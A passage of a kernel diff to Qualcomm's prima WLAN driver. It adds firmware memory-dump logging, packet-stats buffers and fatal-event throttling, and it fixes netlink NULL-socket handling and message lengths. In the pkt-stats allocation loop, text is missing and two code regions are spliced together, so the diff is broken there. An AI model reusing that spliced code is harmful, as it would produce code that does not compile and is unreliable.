gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb = NULL; + gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb_arg = NULL; + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock,flags); + } + } + + if (test_and_clear_bit(HOST_PKT_STATS_POST, + &gwlan_logging.event_flag)) { + send_per_pkt_stats_to_user(); + } } complete_and_exit(&gwlan_logging.shutdown_comp, 0); @@ -798,6 +1276,7 @@ static int wlan_logging_proc_sock_rx_msg(struct sk_buff *skb) int radio; int type; int ret; + unsigned long flags; if (TRUE == vos_isUnloadInProgress()) { @@ -815,16 +1294,24 @@ static int wlan_logging_proc_sock_rx_msg(struct sk_buff *skb) return -EINVAL; } + if (wnl->wmsg.length > skb->data_len) + { + pr_err("%s: invalid length msgLen:%x skb data_len:%x \n", + __func__, wnl->wmsg.length, skb->data_len); + return -EINVAL; + } + if (gapp_pid != INVALID_PID) { if (wnl->nlh.nlmsg_pid > gapp_pid) { gapp_pid = wnl->nlh.nlmsg_pid; } - spin_lock_bh(&gwlan_logging.spin_lock); + spin_lock_irqsave(&gwlan_logging.spin_lock, flags); if (gwlan_logging.pcur_node->filled_length) { wlan_queue_logmsg_for_app(); } - spin_unlock_bh(&gwlan_logging.spin_lock); + spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); + set_bit(HOST_LOG_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } else { @@ -846,10 +1333,12 @@ static int wlan_logging_proc_sock_rx_msg(struct sk_buff *skb) void wlan_init_log_completion(void) { - gwlan_logging.log_complete.indicator = WLAN_LOG_TYPE_NON_FATAL; - gwlan_logging.log_complete.is_fatal = WLAN_LOG_INDICATOR_UNUSED; + gwlan_logging.log_complete.indicator = WLAN_LOG_INDICATOR_UNUSED; + gwlan_logging.log_complete.is_fatal = WLAN_LOG_TYPE_NON_FATAL; gwlan_logging.log_complete.is_report_in_progress = false; gwlan_logging.log_complete.reason_code = WLAN_LOG_REASON_CODE_UNUSED; + gwlan_logging.log_complete.last_fw_bug_reason = 0; + gwlan_logging.log_complete.last_fw_bug_timestamp = 0; spin_lock_init(&gwlan_logging.bug_report_lock); } @@ -866,12 +1355,12 @@ int wlan_set_log_completion(uint32 is_fatal, gwlan_logging.log_complete.is_report_in_progress = true; gwlan_logging.log_complete.reason_code = reason_code; spin_unlock_irqrestore(&gwlan_logging.bug_report_lock, flags); - return 0; } -void wlan_get_log_completion(uint32 *is_fatal, +void wlan_get_log_and_reset_completion(uint32 *is_fatal, uint32 *indicator, - uint32 *reason_code) + uint32 *reason_code, + bool reset) { unsigned long flags; @@ -879,16 +1368,23 @@ void wlan_get_log_completion(uint32 *is_fatal, *indicator = gwlan_logging.log_complete.indicator; *is_fatal = gwlan_logging.log_complete.is_fatal; *reason_code = gwlan_logging.log_complete.reason_code; - gwlan_logging.log_complete.is_report_in_progress = false; - + if (reset) { + gwlan_logging.log_complete.indicator = + WLAN_LOG_INDICATOR_UNUSED; + gwlan_logging.log_complete.is_fatal = WLAN_LOG_TYPE_NON_FATAL; + gwlan_logging.log_complete.is_report_in_progress = false; + gwlan_logging.log_complete.reason_code = + WLAN_LOG_REASON_CODE_UNUSED; + } spin_unlock_irqrestore(&gwlan_logging.bug_report_lock, flags); - } + bool wlan_is_log_report_in_progress(void) { return gwlan_logging.log_complete.is_report_in_progress; } + void wlan_reset_log_report_in_progress(void) { unsigned long flags; @@ -905,10 +1401,15 @@ void wlan_deinit_log_completion(void) } -int wlan_logging_sock_activate_svc(int log_fe_to_console, int num_buf) +int wlan_logging_sock_activate_svc(int log_fe_to_console, int num_buf, + int pkt_stats_enabled, int pkt_stats_buff) { - int i = 0; + int i, j = 0; unsigned long irq_flag; + bool failure = FALSE; + + pr_info("%s: Initalizing FEConsoleLog = %d NumBuff = %d\n", + __func__, log_fe_to_console, num_buf); gapp_pid = INVALID_PID; @@ -936,13 +1437,60 @@ int wlan_logging_sock_activate_svc(int log_fe_to_console, int num_buf) (gwlan_logging.free_list.next); list_del_init(gwlan_logging.free_list.next); spin_unlock_irqrestore(&gwlan_logging.spin_lock, irq_flag); + if(pkt_stats_enabled) + { + pr_info("%s: Initalizing Pkt stats pkt_stats_buff = %d\n", + __func__, pkt_stats_buff); + pkt_stats_buffers = (struct pkt_stats_msg *) kzalloc( + pkt_stats_buff * sizeof(struct pkt_stats_msg), GFP_KERNEL); + if (!pkt_stats_buffers) { + pr_err("%s: Could not allocate memory for Pkt stats\n", __func__); + failure = TRUE; + goto err; + } + + gwlan_logging.pkt_stat_num_buf = pkt_stats_buff; + + gwlan_logging.pkt_stats_msg_idx = 0; + INIT_LIST_HEAD(&gwlan_logging.pkt_stat_free_list); + INIT_LIST_HEAD(&gwlan_logging.pkt_stat_filled_list); + + for (i = 0; i < pkt_stats_buff; i++) { + pkt_stats_buffers[i].skb= dev_alloc_skb(MAX_PKTSTATS_LOG_LENGTH); + if (pkt_stats_buffers[i].skb == NULL) + { + pr_err("%s: Memory alloc failed for skb",__func__); + /* free previously allocated skb and return;*/ + for (j = 0; j= LOGGER_MAX_FW_MEM_DUMP_PKT_Q_LEN) { + status = vos_pkt_walk_packet_chain( + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue, &next_pkt, TRUE); + /*both "success" and "empty" are acceptable results*/ + if (!((status == VOS_STATUS_SUCCESS) || + (status == VOS_STATUS_E_EMPTY))) { + spin_unlock_irqrestore( + &gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + pr_err("%s: Failure walking packet chain", __func__); + /*keep returning pkts to avoid low resource cond*/ + vos_pkt_return_packet(pPacket); + return VOS_STATUS_E_FAILURE; + } + + free_pkt = gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue; + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue = next_pkt; + /*returning head of pkt queue. latest pkts are important*/ + --gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_qcnt; + ++gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_drop_cnt ; + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, + flags); + pr_info("%s : fw mem_dump pkt cnt --> %d\n" ,__func__, gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_drop_cnt); + vos_pkt_return_packet(free_pkt); + } else { + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, + flags); + } + + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + + if (gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue) { + vos_pkt_chain_packet(gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue, + pPacket, TRUE); + } else { + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue = pPacket; + } + ++gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_qcnt; + + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + + set_bit(LOGGER_FW_MEM_DUMP_PKT_POST, &gwlan_logging.event_flag); + wake_up_interruptible(&gwlan_logging.wait_queue); + + return VOS_STATUS_SUCCESS; +} + int wlan_queue_logpkt_for_app(vos_pkt_t *pPacket, uint32 pkt_type) { VOS_STATUS status = VOS_STATUS_E_FAILURE; @@ -1191,13 +1821,16 @@ int wlan_queue_logpkt_for_app(vos_pkt_t *pPacket, uint32 pkt_type) } switch (pkt_type) { - case LOG_PKT_TYPE_DATA_MGMT: + case WLAN_MGMT_FRAME_LOGS: status = wlan_queue_data_mgmt_pkt_for_app(pPacket); break; - case LOG_PKT_TYPE_FW_LOG: + case WLAN_FW_LOGS: status = wlan_queue_fw_log_pkt_for_app(pPacket); break; + case WLAN_FW_MEMORY_DUMP: + status = wlan_queue_fw_mem_dump_for_app(pPacket); + break; default: pr_info("%s: Unknown pkt received %d", __func__, pkt_type); @@ -1210,14 +1843,97 @@ int wlan_queue_logpkt_for_app(vos_pkt_t *pPacket, uint32 pkt_type) void wlan_process_done_indication(uint8 type, uint32 reason_code) { - if ((type == WLAN_QXDM_LOGGING) && (wlan_is_log_report_in_progress() == TRUE)) - { - pr_info("%s: Setting LOGGER_FATAL_EVENT\n", __func__); - set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); - wake_up_interruptible(&gwlan_logging.wait_queue); - } + if (FALSE == sme_IsFeatureSupportedByFW(MEMORY_DUMP_SUPPORTED)) + { + if ((type == WLAN_FW_LOGS) && + (wlan_is_log_report_in_progress() == TRUE)) + { + pr_info("%s: Setting LOGGER_FATAL_EVENT %d\n", + __func__, reason_code); + set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); + wake_up_interruptible(&gwlan_logging.wait_queue); + } + return; + } + + if ((type == WLAN_FW_LOGS) && reason_code && + vos_isFatalEventEnabled() && + vos_is_wlan_logging_enabled()) + { + if(wlan_is_log_report_in_progress() == TRUE) + { + pr_info("%s: Setting LOGGER_FATAL_EVENT %d\n", + __func__, reason_code); + set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); + wake_up_interruptible(&gwlan_logging.wait_queue); + } + else + { + unsigned long flags; + + /* Drop FW initiated fatal event for + * LIMIT_FW_FATAL_EVENT_MS if received for same reason. + */ + spin_lock_irqsave(&gwlan_logging.bug_report_lock, + flags); + if ((reason_code == + gwlan_logging.log_complete.last_fw_bug_reason) && + ((vos_timer_get_system_time() - + gwlan_logging.log_complete.last_fw_bug_timestamp) + < LIMIT_FW_FATAL_EVENT_MS)) { + spin_unlock_irqrestore( + &gwlan_logging.bug_report_lock, + flags); + pr_info("%s: Ignoring Fatal event from firmware for reason %d\n", + __func__, reason_code); + return; + } + gwlan_logging.log_complete.last_fw_bug_reason = + reason_code; + gwlan_logging.log_complete.last_fw_bug_timestamp = + vos_timer_get_system_time(); + spin_unlock_irqrestore(&gwlan_logging.bug_report_lock, + flags); + + /*Firmware Initiated*/ + pr_info("%s : FW triggered Fatal Event, reason_code : %d\n", __func__, + reason_code); + wlan_set_log_completion(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_FIRMWARE, + reason_code); + set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); + wake_up_interruptible(&gwlan_logging.wait_queue); + } + } + if(type == WLAN_FW_MEMORY_DUMP && vos_is_wlan_logging_enabled()) + { + pr_info("%s: Setting FW MEM DUMP LOGGER event\n", __func__); + set_bit(LOGGER_FW_MEM_DUMP_PKT_POST_DONE, &gwlan_logging.event_flag); + wake_up_interruptible(&gwlan_logging.wait_queue); + } +} +/** + * wlan_flush_host_logs_for_fatal() -flush host logs and send + * fatal event to upper layer. + */ +void wlan_flush_host_logs_for_fatal() +{ + unsigned long flags; + + if (wlan_is_log_report_in_progress()) { + pr_info("%s:flush all host logs Setting HOST_LOG_POST\n", + __func__); + + spin_lock_irqsave(&gwlan_logging.spin_lock, flags); + wlan_queue_logmsg_for_app(); + spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); + + set_bit(HOST_LOG_POST, &gwlan_logging.event_flag); + wake_up_interruptible(&gwlan_logging.wait_queue); + } } + /** * wlan_is_logger_thread()- Check if threadid is * of logger thread @@ -1234,4 +1950,226 @@ bool wlan_is_logger_thread(int threadId) return ((gwlan_logging.thread) && (threadId == gwlan_logging.thread->pid)); } + +int wlan_fwr_mem_dump_buffer_allocation(void) +{ + /*Allocate the dump memory as reported by fw. + or if feature not supported just report to the user */ + if(gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size <= 0) + { + pr_err("%s: fw_mem_dump_req not supported by firmware", __func__); + return -EFAULT; + } + gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc = + (uint8 *)vos_mem_vmalloc(gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size); + gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc = gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc; + if(NULL == gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc) + { + pr_err("%s: fw_mem_dump_req alloc failed for size %d bytes", __func__,gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size); + return -ENOMEM; + } + vos_mem_zero(gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc,gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size); + + return 0; +} + +/*set the current fw mem dump state*/ +void wlan_set_fwr_mem_dump_state(enum FW_MEM_DUMP_STATE fw_mem_dump_state) +{ + unsigned long flags; + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = fw_mem_dump_state; + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); +} +/*check for new request validity and free memory if present from previous request */ +bool wlan_fwr_mem_dump_test_and_set_write_allowed_bit(){ + unsigned long flags; + bool ret = false; + bool write_done = false; + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + + if(gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status == FW_MEM_DUMP_IDLE){ + ret = true; + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = FW_MEM_DUMP_WRITE_IN_PROGRESS; + } + else if(gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status == FW_MEM_DUMP_WRITE_DONE){ + ret = true; + write_done = true; + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = FW_MEM_DUMP_WRITE_IN_PROGRESS; + } + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + pr_info("%s:fw mem dump state --> %d ", __func__,gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status); + + if(write_done) + wlan_free_fwr_mem_dump_buffer(); + return ret; +} + +bool wlan_fwr_mem_dump_test_and_set_read_allowed_bit(){ + unsigned long flags; + bool ret=false; + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + if(gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status == FW_MEM_DUMP_WRITE_DONE || + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status == FW_MEM_DUMP_READ_IN_PROGRESS ){ + ret = true; + gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = FW_MEM_DUMP_READ_IN_PROGRESS; + } + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + //pr_info("%s:fw mem dump state --> %d ", __func__,gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status); + + return ret; +} +size_t wlan_fwr_mem_dump_fsread_handler(char __user *buf, + size_t count, loff_t *pos,loff_t* bytes_left) +{ + if (buf == NULL || gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc == NULL) + { + pr_err("%s : start loc : %p buf : %p ",__func__,gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc,buf); + return 0; + } + + if (*pos < 0) { + pr_err("Invalid start offset for memdump read"); + return 0; + } else if (*pos >= gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size || !count) { + pr_err("No more data to copy"); + return 0; + } else if (count > gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size - *pos) { + count = gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size - *pos; + } + if (copy_to_user(buf, gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc, count)) { + pr_err("%s copy to user space failed",__func__); + return 0; + } + /* offset(pos) should be updated here based on the copy done*/ + *pos += count; + *bytes_left = gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size - *pos; + return count; +} + +void wlan_set_svc_fw_mem_dump_req_cb (void * fw_mem_dump_req_cb, void * fw_mem_dump_req_cb_arg) +{ + unsigned long flags; + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb = fw_mem_dump_req_cb; + gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb_arg = fw_mem_dump_req_cb_arg; + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); +} + +void wlan_free_fwr_mem_dump_buffer (void ) +{ + unsigned long flags; + void * tmp = NULL; + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + tmp = gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc; + gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc = NULL; + gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc = NULL; + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + // Don't set fw_dump_max_size to 0, only free the buffera + if(tmp != NULL) + vos_mem_vfree((void *)tmp); +} + +void wlan_store_fwr_mem_dump_size(uint32 dump_size) +{ + unsigned long flags; + spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); + //Store the dump size + gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size = dump_size; + spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); +} +/** + * wlan_indicate_mem_dump_complete() - When H2H for mem + * dump finish invoke the handler. + * + * This is a handler used to indicate user space about the + * availability for firmware memory dump via vendor event. + * + * Return: None + */ +void wlan_indicate_mem_dump_complete(bool status ) +{ + hdd_context_t *hdd_ctx; + void *vos_ctx; + int ret; + struct sk_buff *skb = NULL; + vos_ctx = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!vos_ctx) { + pr_err("Invalid VOS context"); + return; + } + + hdd_ctx = vos_get_context(VOS_MODULE_ID_HDD, vos_ctx); + if(!hdd_ctx) { + pr_err("Invalid HDD context"); + return; + } + + ret = wlan_hdd_validate_context(hdd_ctx); + if (0 != ret) { + pr_err("HDD context is not valid"); + return; + } + + + skb = cfg80211_vendor_cmd_alloc_reply_skb(hdd_ctx->wiphy, + sizeof(uint32_t) + NLA_HDRLEN + NLMSG_HDRLEN); + + if (!skb) { + pr_err("cfg80211_vendor_event_alloc failed"); + return; + } + if(status) + { + if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_MEMDUMP_SIZE, + gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size)) { + pr_err("nla put fail"); + goto nla_put_failure; + } + } + else + { + pr_err("memdump failed.Returning size 0 to user"); + if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_MEMDUMP_SIZE, + 0)) { + pr_err("nla put fail"); + goto nla_put_failure; + } + } + /*indicate mem dump complete*/ + cfg80211_vendor_cmd_reply(skb); + pr_info("Memdump event sent successfully to user space : recvd size %d",(int)(gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc - gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc)); + return; + +nla_put_failure: + kfree_skb(skb); + return; +} +#ifdef FEATURE_WLAN_DIAG_SUPPORT +/** + * wlan_report_log_completion() - Report bug report completion to userspace + * @is_fatal: Type of event, fatal or not + * @indicator: Source of bug report, framework/host/firmware + * @reason_code: Reason for triggering bug report + * + * This function is used to report the bug report completion to userspace + * + * Return: None + */ +void wlan_report_log_completion(uint32_t is_fatal, + uint32_t indicator, + uint32_t reason_code) +{ + WLAN_VOS_DIAG_EVENT_DEF(wlan_diag_event, + struct vos_event_wlan_log_complete); + + wlan_diag_event.is_fatal = is_fatal; + wlan_diag_event.indicator = indicator; + wlan_diag_event.reason_code = reason_code; + wlan_diag_event.reserved = 0; + + WLAN_VOS_DIAG_EVENT_REPORT(&wlan_diag_event, EVENT_WLAN_LOG_COMPLETE); +} +#endif + #endif /* WLAN_LOGGING_SOCK_SVC_ENABLE */ diff --git a/drivers/staging/prima/CORE/SVC/src/nlink/wlan_nlink_srv.c b/drivers/staging/prima/CORE/SVC/src/nlink/wlan_nlink_srv.c index 3bd5051d6f684..facf905e8948b 100644 --- a/drivers/staging/prima/CORE/SVC/src/nlink/wlan_nlink_srv.c +++ b/drivers/staging/prima/CORE/SVC/src/nlink/wlan_nlink_srv.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -164,7 +164,7 @@ int nl_srv_unregister(tWlanNlModTypes msg_type, nl_srv_msg_callback msg_handler) */ int nl_srv_ucast(struct sk_buff *skb, int dst_pid, int flag) { - int err; + int err = -EINVAL; #if (LINUX_VERSION_CODE < KERNEL_VERSION(3,7,0)) NETLINK_CB(skb).pid = 0; //sender's pid @@ -172,12 +172,15 @@ int nl_srv_ucast(struct sk_buff *skb, int dst_pid, int flag) NETLINK_CB(skb).portid = 0; //sender's pid #endif NETLINK_CB(skb).dst_group = 0; //not multicast - - err = netlink_unicast(nl_srv_sock, skb, dst_pid, flag); - - if (err < 0) - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, - "NLINK: netlink_unicast to pid[%d] failed, ret[%d]", dst_pid, err); + if (nl_srv_sock != NULL) { + err = netlink_unicast(nl_srv_sock, skb, + dst_pid, flag); + if (err < 0) + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, + "NLINK: netlink_unicast to pid[%d] failed, ret[%d]", dst_pid, err); + } + else + dev_kfree_skb(skb); return err; } @@ -188,7 +191,7 @@ int nl_srv_ucast(struct sk_buff *skb, int dst_pid, int flag) */ int nl_srv_bcast(struct sk_buff *skb) { - int err; + int err = -EINVAL; int flags = GFP_KERNEL; if (in_interrupt() || irqs_disabled() || in_atomic()) @@ -200,14 +203,18 @@ int nl_srv_bcast(struct sk_buff *skb) NETLINK_CB(skb).portid = 0; //sender's pid #endif NETLINK_CB(skb).dst_group = WLAN_NLINK_MCAST_GRP_ID; //destination group + if (nl_srv_sock != NULL) { + err = netlink_broadcast(nl_srv_sock, skb, 0, + WLAN_NLINK_MCAST_GRP_ID, flags); - err = netlink_broadcast(nl_srv_sock, skb, 0, WLAN_NLINK_MCAST_GRP_ID, flags); - - if (err < 0) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, + if ((err < 0) && (err != -ESRCH)) + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, "NLINK: netlink_broadcast failed err = %d", err); } + else + dev_kfree_skb(skb); + + return err; } @@ -335,7 +342,7 @@ void nl_srv_nl_ready_indication /*multicast the message to all listening processes*/ err = netlink_broadcast(nl_srv_sock, skb, 0, 1, GFP_KERNEL); - if (err) + if (err && (err != -ESRCH)) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_LOW, "NLINK: Ready Indication Send Fail %s, err %d", diff --git a/drivers/staging/prima/CORE/SVC/src/ptt/wlan_ptt_sock_svc.c b/drivers/staging/prima/CORE/SVC/src/ptt/wlan_ptt_sock_svc.c index 5a5c187a721f4..5db47dd15761b 100644 --- a/drivers/staging/prima/CORE/SVC/src/ptt/wlan_ptt_sock_svc.c +++ b/drivers/staging/prima/CORE/SVC/src/ptt/wlan_ptt_sock_svc.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -96,7 +96,7 @@ int ptt_sock_send_msg_to_app(tAniHdr *wmsg, int radio, int src_mod, int pid, int __func__, radio); return -EINVAL; } - payload_len = wmsg_length + 4; // 4 extra bytes for the radio idx + payload_len = wmsg_length + sizeof(wnl->radio) + sizeof(tAniHdr); tot_msg_len = NLMSG_SPACE(payload_len); if ((skb = dev_alloc_skb(tot_msg_len)) == NULL) { PTT_TRACE(VOS_TRACE_LEVEL_ERROR, "%s: dev_alloc_skb() failed for msg size[%d]\n", @@ -153,7 +153,7 @@ static void ptt_sock_proc_reg_req(tAniHdr *wmsg, int radio) pAdapterHandle->ptt_pid = reg_req->pid; rspmsg.regReq.pid= reg_req->pid; rspmsg.wniHdr.type = cpu_to_be16(ANI_MSG_APP_REG_RSP); - rspmsg.wniHdr.length = cpu_to_be16(sizeof(rspmsg)); + rspmsg.wniHdr.length = cpu_to_be16(sizeof(rspmsg.wniHdr)); if (ptt_sock_send_msg_to_app((tAniHdr *)&rspmsg.wniHdr, radio, ANI_NL_MSG_PUMAC, reg_req->pid, MSG_DONTWAIT) < 0) { @@ -290,6 +290,10 @@ static int ptt_sock_rx_nlink_msg (struct sk_buff * skb) tAniNlHdr *wnl; int radio; int type; + + if (0 != wlan_hdd_validate_context(pAdapterHandle)) + return -EINVAL; + wnl = (tAniNlHdr *) skb->data; radio = wnl->radio; type = wnl->nlh.nlmsg_type; @@ -320,4 +324,12 @@ int ptt_sock_activate_svc(void *pAdapter) #endif /* WLAN_KD_READY_NOTIFIER */ return 0; } + +int ptt_sock_deactivate_svc(hdd_context_t *pHddCtx) +{ + nl_srv_unregister(ANI_NL_MSG_PUMAC, ptt_sock_rx_nlink_msg); + nl_srv_unregister(ANI_NL_MSG_PTT, ptt_sock_rx_nlink_msg); + return 0; +} + #endif //PTT_SOCK_SVC_ENABLE diff --git a/drivers/staging/prima/CORE/SYS/common/src/wlan_qct_sys.c b/drivers/staging/prima/CORE/SYS/common/src/wlan_qct_sys.c index f55bd8c62518b..be54dffb7fbc2 100644 --- a/drivers/staging/prima/CORE/SYS/common/src/wlan_qct_sys.c +++ b/drivers/staging/prima/CORE/SYS/common/src/wlan_qct_sys.c @@ -778,6 +778,7 @@ void wlan_sys_probe(void) vosMessage.reserved = FTM_SYS_MSG_COOKIE; vosMessage.type = SYS_MSG_ID_MC_THR_PROBE; + vosMessage.callback = NULL; vosMessage.bodyptr = NULL; vos_mq_post_message(VOS_MQ_ID_SYS, &vosMessage); diff --git a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/dot11f.c b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/dot11f.c index a4fbb05473896..52117f00b599d 100644 --- a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/dot11f.c +++ b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/dot11f.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -28,7 +28,7 @@ * * * This file was automatically generated by 'framesc' - * Mon Nov 10 19:49:53 2014 from the following file(s): + * Wed Aug 10 14:01:47 2016 from the following file(s): * * dot11f.frms * @@ -763,6 +763,16 @@ void dot11fUnpackFfLinkMargin(tpAniSirGlobal pCtx, #define SigFfListenInterval ( 0x000f ) +void dot11fUnpackFfMagicCode(tpAniSirGlobal pCtx, + tANI_U8 *pBuf, + tDot11fFfMagicCode *pDst) +{ + DOT11F_MEMCPY(pCtx, pDst->magic, pBuf, 6); + (void)pCtx; +} /* End dot11fUnpackFfMagicCode. */ + +#define SigFfMagicCode ( 0x0010 ) + void dot11fUnpackFfMaxTxPower(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tDot11fFfMaxTxPower *pDst) @@ -771,7 +781,7 @@ void dot11fUnpackFfMaxTxPower(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfMaxTxPower. */ -#define SigFfMaxTxPower ( 0x0010 ) +#define SigFfMaxTxPower ( 0x0011 ) void dot11fUnpackFfNumOfRepetitions(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -781,7 +791,7 @@ void dot11fUnpackFfNumOfRepetitions(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfNumOfRepetitions. */ -#define SigFfNumOfRepetitions ( 0x0011 ) +#define SigFfNumOfRepetitions ( 0x0012 ) void dot11fUnpackFfOperatingMode(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -796,7 +806,7 @@ void dot11fUnpackFfOperatingMode(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfOperatingMode. */ -#define SigFfOperatingMode ( 0x0012 ) +#define SigFfOperatingMode ( 0x0013 ) void dot11fUnpackFfP2POUI(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -806,7 +816,7 @@ void dot11fUnpackFfP2POUI(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfP2POUI. */ -#define SigFfP2POUI ( 0x0013 ) +#define SigFfP2POUI ( 0x0014 ) void dot11fUnpackFfP2POUISubType(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -816,7 +826,7 @@ void dot11fUnpackFfP2POUISubType(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfP2POUISubType. */ -#define SigFfP2POUISubType ( 0x0014 ) +#define SigFfP2POUISubType ( 0x0015 ) void dot11fUnpackFfRCPI(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -826,7 +836,37 @@ void dot11fUnpackFfRCPI(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfRCPI. */ -#define SigFfRCPI ( 0x0015 ) +#define SigFfRCPI ( 0x0016 ) + +void dot11fUnpackFfRMCDialogToken(tpAniSirGlobal pCtx, + tANI_U8 *pBuf, + tDot11fFfRMCDialogToken *pDst) +{ + framesntohl(pCtx, &pDst->token, pBuf, 0); + (void)pCtx; +} /* End dot11fUnpackFfRMCDialogToken. */ + +#define SigFfRMCDialogToken ( 